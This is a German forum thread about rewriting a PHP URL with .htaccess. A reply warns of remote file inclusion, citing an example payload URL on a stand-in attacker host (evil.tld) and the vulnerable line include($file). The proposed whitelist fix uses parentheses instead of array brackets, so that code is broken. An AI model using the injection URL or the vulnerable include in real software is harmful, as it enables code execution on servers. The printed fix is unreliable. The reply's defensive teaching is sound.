Moin!
Ich probiere jetzt schon eine ganze Zeit lang aber ich glaube ich steh voll auf der Leitung kann mir jemand weiter helfen wie ich die url bestellung.php?param1=xy¶m2=xy
in der htaccess. in content.php?file=bestellung.php¶m1=xy¶m2=xy umwandle.. irgendwie hab ich das gefühl das meine ausdruck nicht stimmt ;o) RegEx sind nicht wirklich meins..
Ein ganz anderes Problem offenbar sich IMO bei deinen Versuchen: Du willst eine einzubindende URL angeben. Ich hoffe nur, die fopen-URL-Wrappers sind ausgeschaltet! Wenn du keine Ahnung hast, was das sein könnte, dann sind sie mit Sicherheit eingeschaltet, und du hast dir möglicherweise eine wunderschöne Sicherheitslücke eingebaut.
Kann man statt "file=bestellung.php" programmtechnisch auch "file=warenkorb.php" oder "file=http://evil.tld/angriffsskript.html" angeben? Dein Parameter deutet ganz deutlich darauf hin, dass irgendwo in der content.php sowas steht:
<?php include($file); ?>
Und da PHP auch im include() erlaubt, dass man HTTP-URLs angibt, kann man dir so beliebigen PHP-Code unterschieben.
Besser: Du definierst in einem Array einen Satz von gültigen Dateien, die per Include eingebaut werden dürfen:
$allow_include[1] = "bestellung.php";
$allow_include[2] = "warenkorb.php";
...
Und als Parameter übergibst du dann nur noch den Index des Arrays:
content.php?file=1¶m1=....
<?php include ($allow_include($file)); ?>
Ok, und weil diese Art von Variablenübergabe ganz böse ist, solltest du "register_globals" lieber auf "off" setzen (lassen), und gleich ordentliche Zugriffsmethoden auf übergebene Parameter einsetzen:
<?php include ($allow_include($_GET['file'])); ?>
- Sven Rautenberg